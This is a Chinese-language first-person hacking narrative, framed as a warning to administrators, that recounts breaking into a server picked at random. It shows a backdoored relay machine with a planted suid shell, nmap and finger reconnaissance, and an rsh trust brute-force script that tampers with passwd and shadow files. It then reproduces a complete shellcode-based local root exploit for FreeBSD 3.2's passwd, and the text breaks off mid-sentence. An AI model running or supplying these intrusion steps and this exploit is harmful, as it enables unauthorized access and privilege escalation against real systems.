本文的写作目的仅仅是为了给某些粗心大意的网络管理人员一个警告——internet是 <br>有趣但十分脆弱的，当你的计算机放在互联网上给人们提供信息与服务的同时，会引 <br>来网络中的“好奇者”的窥探。而安全性与便利性是一对矛盾……在你对自己的网络 <br>做了一个安全策略考量之后，你应该确定你愿意以多大的风险来使用一些方便的服务， <br>当然这些服务——比如rlogin，可能只会使你少输入一次密码…… <br><br>首先是确定目标——撞大运乱挑一个吧，试试能不能成功……呵，于是登上yahoo，上 <br>taiwan的站点小遛了一下……唔，这个还不错，我们姑且称其为www.targe.com……还 <br>是先ping一下看看情势如何——别碰上有墙的就逊了…… <br><br>C:\\&gt;ping www.targe.com <br><br>Pinging www.targe.com [111.111.111.111] with 32 bytes of data: <br><br>Reply from 111.111.111.111: bytes=32 time=621ms TTL=241 <br>Reply from 111.111.111.111: bytes=32 time=620ms TTL=241 <br>Reply from 111.111.111.111: bytes=32 time=611ms TTL=241 <br>Reply from 111.111.111.111: bytes=32 time=591ms TTL=241 <br><br>速度还是很快的嘛……那就开始吧…… <br><br>先登上某台跳板台湾的机器——这样安全一些，不会留下你自己的IP……(当然，说句 <br>题外话——这样要追查到还不是很困难，曾经有个朋友同我说过，南方某大学一次被 <br>黑，种种迹象都表明黑客来自美国，IP、更改后主页上留下的话语……朋友受托去补 <br>漏查源，发现那IP是美国一个提供免费shell的服务供应商……于是申请了一个shell， <br>通过一系列动作成为root，查看系统日志——真相大白，IP居然指向那家大学自身)。 <br><br>通过跳板还有一个好处——如果你的尝试失败，在系统日志里留下来的是台湾本土的 <br>IP，这样的登陆失败命令比较不会引起系统管理员的注意…… <br><br>C:\\&gt;nc ***.***.***.*** 12345 <br><br>就登上跳板了，12345端口里我预留了一个suid的shell…… <br><br>好了，祭起宝刀——nmap…… <br><br># ./nmap -sT -O 111.111.111.111 <br><br>Starting nmap V. 2.3BETA12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) <br><br>Interesting ports on www.targe.com (111.111.111.111): <br>Port State Protocol Service <br>7 open tcp echo <br>9 open tcp discard <br>19 open tcp chargen <br>21 open tcp ftp <br>23 open tcp telnet <br>25 open tcp smtp <br>37 open tcp time <br>79 open tcp finger <br>80 open tcp http <br>111 open tcp sunrpc <br>443 open tcp https <br>512 open tcp exec <br>513 open tcp login <br>514 open tcp shell <br>515 open tcp printer <br>540 open tcp uucp <br>3306 open tcp mysql <br><br>TCP Sequence Prediction: Class=random positive increments <br>Difficulty=55346 (Worthy challenge) <br>No OS matches for host (If you know what OS is running on it <br>………… <br>………… <br>Nmap run completed -- 1 IP address (1 host up) scanned in 17 seconds <br><br>唔，运气还不错，提供的服务不少，估计漏也少不到哪儿去……只是没判断出系统 <br>类型，这些服务里看上去可以利用的有： <br><br>Port State Protocol Service <br><br>21 open tcp ftp <br>25 open tcp smtp <br>79 open tcp finger <br>80 open tcp http <br>111 open tcp sunrpc <br>512 open tcp exec <br>513 open tcp login <br>514 open tcp shell <br>540 open tcp uucp <br>3306 open tcp mysql <br><br>最近rpc攻击非常流行，原因之一恐怕是方便易行——只要存在漏洞，远程就可以 <br>得到一个rootshell……甚至对计算机完全不懂的外行也能轻易实施，呵，那咱们 <br>来看看这个111 port的sunrpc里有什么奥妙吧…… <br><br># rpcinfo -p 111.111.111.111&amp; <br>21404 <br># program vers proto port service <br>100000 2 tcp 111 rpcbind <br>100000 2 udp 111 rpcbind <br><br>咦，看来没戏唱哦……好在还有那么多服务，待偶慢慢试来…… <br>看看是什么FTP服务器软件吧，说不定有远程溢出的漏洞呢 <br><br># ./nc 111.111.111.111 21 <br># <br><br>乖乖龙的东，什么输出也没有就关上了，这是如何一回事？ <br><br>C:\\&gt;ftp 111.111.111.111 <br>Connected to 111.111.111.111. <br>Connection closed by remote host. <br><br>呵呵，看来过滤掉了嘛……怎么办？看看25端口是运行什么SMTP服务的吧…… <br><br># ./nc 111.111.111.111 25 <br>220 ***-***-***-*** ESMTP Sendmail 8.9.3/8.9.3; Wed, 5 Apr 2000 08:56:59 GMT <br><br>Sendmail 8.9.3/8.9.3？好象没有什么致命的漏洞呀…… <br><br>看看是什么WEB服务器先…… <br><br># (echo &xqypichead /http/1.0&xqypic;echo;echo)│./nc -w 3 111.111.111.111 80 <br><br>&lt;!DOCTYPE HTML PUBLIC &xqypic-//IETF//DTD HTML 2.0//EN&xqypic&gt; <br>&lt;HTML&gt;&lt;HEAD&gt; <br>&lt;TITLE&gt;501 Method Not Implemented&lt;/TITLE&gt; <br>&lt;/HEAD&gt;&lt;BODY&gt; <br>&lt;H1&gt;Method Not Implemented&lt;/H1&gt; <br>head to /http/1.0 not supported.&lt;P&gt; <br>Invalid method in request head /http/1.0&lt;P&gt; <br>&lt;HR&gt; <br>&lt;ADDRESS&gt;Apache/1.3.9 Server at ***-***-***-*** Port 80&lt;/ADDRESS&gt; <br>&lt;/BODY&gt;&lt;/HTML&gt; <br><br>阿帕奇这个版本的东东至少偶的印象中没有什么“死穴”…… <br><br>好在开了finger，俺就土土地先把用户列表弄出来吧…… <br><br>finger O@www.targe.com <br><br>[www.targe.com.tw] <br><br>root <br>aaa <br>bbb <br>ccc <br>ddd <br><br>总算有点收获……，那么下一步该做什么呢？既然这台主机开了512、513、514的r <br>系列服务，那就值得尝试一下，说不定哪个偷懒的家伙直接在.rhosts里设了 <br><br>+ username <br><br>那我就爽了…… <br><br>顺手写了个shell script，让它去一个一个地尝试rsh命令，传到肉鸡上 <br><br># chmod 700 rsh.sh <br># nohup ./rsh.sh www.targe.com <br><br>它会自动地在/etc/passwd和/etc/shadow里加上finger出来的用户名，然后su过去， <br>再对远程目标111.111.111.111执行rsh命令，成功则返回该用户名……然后将备份的 <br>passwd和shadow再拷回去……删除临时文件，生成报告文件……(或许是我对.rhosts <br>的理解还有问题，有时我在机里加上+ +但rcp时还会报Permission denied或者connect <br>refused,所以干脆都su成用户——或许太笨;) <br><br>我便再去MUD里当我的大虾了……半个小时后回来 <br><br>登上肉鸡，读取报告文件.rsh.txt <br><br># cat ./.rsh.txt <br>ccc <br><br>hehe，非常抱歉，看来俺得到一个shell了…… <br><br>进去看看…… <br><br># rlogin -l ccc 111.111.111.111 <br><br>Last login: Fri Mar 24 19:04:50 from 202.102.2.147 <br>Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994 <br>The Regents of the University of California. All rights reserved. <br><br>FreeBSD 3.2-RELEASE (GENERIC) #0: Tue May 18 04:05:08 GMT 1999 <br><br>You have mail. <br><br>呵，原来是FreeBSD 3.2-RELEASE呀，感觉不错，进来了，看看我的权限如何吧…… <br><br>&gt; id <br>id <br>uid=1003(ccc) gid=1003(ccc) groups=1003(ccc) <br><br>看来能做的事还相当有限噢……再看看系统里有没有别人先…… <br><br>&gt; w <br>w <br>9:03PM up 6 days, 2:37, 3 users, load averages: 0.00, 0.01, 0.00 <br>USER TTY FROM LOGIN@ IDLE WHAT <br>ccc p0 **.**.***.*** 6:04PM 2:41 -tcsh (tcsh) <br><br>不错，就我自在逍遥……看看passwd吧…… <br><br>&gt; cat /etc/passwd <br>cat /etc/passwd <br>root:*:0:0:Charlie &amp;:/root:/usr/local/bin/bash <br>aaa:*:1005:2000::/home/www:/usr/local/bin/tcsh <br>bbb:*:1006:1006::/home/bbb:/usr/local/bin/tcsh <br>ccc:*:1003:1003::/home/ccc:/usr/local/bin/tcsh <br>ddd:*:1008:1008:ddd:/home/www:/usr/local/bin/tcsh <br>eee:*:1009:1009:eee:/home/eee:/usr/local/bin/tcsh <br><br>很明显/home/www就是www用户的主目录了……先看看俺ccc对该目录有没有写权限 <br><br>&gt; echo test &gt;/home/www/test <br>test: Permission denied. <br><br>看来如果想改他的主页，还得另外想办法啦……不过都已经有了一个用户shell了，最 <br>高权限其实也只有一步之遥啦，好吧，翻翻数据库里有什么关于FreeBSD 3.2的记录， <br>看来东西不多呀……而且有些还是安装外来软件包之后才带来的风险…… <br><br>先看看有没有编译的权限再说吧，否则还得找一台BSD来编译…… <br><br>&gt; ls /usr/local/bin│grep gcc <br>gcc <br><br>一般情况下自己安装的gcc是会在这个目录的啦，否则最好find一下比较保险。 <br><br>这下方便了……可以直接传代码上来试…… <br>试了几个之后我找到这么个东西： <br><br>/* by Nergal */ <br>#include &lt;errno.h&gt; <br>#include &lt;signal.h&gt; <br>#include &lt;stdio.h&gt; <br>#include &lt;stdlib.h&gt; <br>#include &lt;unistd.h&gt; <br>#include &lt;fcntl.h&gt; <br>#include &lt;string.h&gt; <br>#include &lt;signal.h&gt; <br>#include &lt;sys/wait.h&gt; <br><br>char shellcode[] = <br>&xqypic\\xeb\\x0a\\x62\\x79\\x20\\x4e\\x65\\x72\\x67\\x61\\x6c\\x20&xqypic <br>&xqypic\\xeb\\x23\\x5e\\x8d\\x1e\\x89\\x5e\\x0b\\x31\\xd2\\x89\\x56\\x07\\x89\\x56\\x0f&xqypic <br>&xqypic\\x89\\x56\\x14\\x88\\x56\\x19\\x31\\xc0\\xb0\\x3b\\x8d\\x4e\\x0b\\x89\\xca\\x52&xqypic <br>&xqypic\\x51\\x53\\x50\\xeb\\x18\\xe8\\xd8\\xff\\xff\\xff/bin/sh\\x01\\x01\\x01\\x01&xqypic <br>&xqypic\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03\\x9a\\x04\\x04\\x04\\x04\\x07\\x04\\x00&xqypic; <br><br>#define PASSWD &xqypic./passwd&xqypic <br>void <br>sg(int x) <br>{ <br>} <br>int <br>main(int argc, char **argv) <br>{ <br>unsigned int stack, shaddr; <br>int pid,schild; <br>int fd; <br>char buff[40]; <br>unsigned int status; <br>char *ptr; <br>char name[4096]; <br>char sc[4096]; <br>char signature[] = &xqypicsignature&xqypic; <br><br>signal(SIGUSR1, sg); <br>if (symlink(&xqypicusr/bin/passwd&xqypic,PASSWD) &amp;&amp; errno!=EEXIST) <br>{ <br>perror(&xqypiccreating symlink:&xqypic); <br>exit(1); <br>} <br>shaddr=(unsigned int)&amp;shaddr; <br>stack=shaddr-2048; <br>if (argc&gt;1) <br>shaddr+=atoi(argv[1]); <br>if (argc&gt;2) <br>stack+=atoi(argv[2]); <br>fprintf(stderr,&xqypicshellcode addr=0x%x stack=0x%x\\n&xqypic,shaddr,stack); <br>fprintf(stderr,&xqypicWait for \\&xqypicPress return\\&xqypic prompt:\\n&xqypic); <br>memset(sc, 0x90, sizeof(sc)); <br>strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode)); <br>strncpy(sc,&xqypicEGG=&xqypic,4); <br>memset(name,\'x\',sizeof(name)); <br>for (ptr = name; ptr &lt; name + sizeof(name); ptr += 4) <br>*(unsigned int *) ptr = shaddr; <br>name[sizeof(name) - 1] = 0; <br><br>pid = fork(); <br>switch (pid) { <br>case -1: <br>perror(&xqypicfork&xqypic); <br>exit(1); <br>case 0: <br>pid = getppid(); <br>sprintf(buff, &xqypic/proc/%d/mem&xqypic, pid); <br>fd = open(buff, O_RDWR); <br>if (fd &lt; 0) { <br>perror(&xqypicopen procmem&xqypic); <br>wait(NULL); <br>exit(1); <br>} <br>/* wait for child to execute suid program */ <br>kill(pid, SIGUSR1); <br>do { <br>lseek(fd, (unsigned int) signature, SEEK_SET); <br>} while <br>(read(fd, buff, sizeof(signature)) == sizeof(signature) &amp;&amp; <br>!strncmp(buff, signature, sizeof(signature))); <br>lseek(fd, stack, SEEK_SET); <br>switch (schild = fork()) { <br>case -1: <br>perror(&xqypicfork2&xqypic); <br>exit(1); <br>case 0: <br><br>dup2(fd, 2); <br>sleep(2); <br>execl(PASSWD, name, &xqypicblahblah&xqypic, 0); <br>printf(&xqypicexecl failed\\n&xqypic); <br>exit(1); <br>default: <br>waitpid(schild, &amp;status, 0); <br>} <br>fprintf(stderr, &xqypic\\nPress return.\\n&xqypic); <br>exit(1); <br>default: <br>/* give parent time to open /proc/pid/mem */ <br>pause(); <br>putenv(sc); <br>execl(PASSWD, &xqypicpasswd&xqypic, NULL); <br>perror(&xqypicexecl&xqypic); <br>exit(0); <br><br>} <br>} <br><br>偶说一下这个漏洞的由来吧： <br>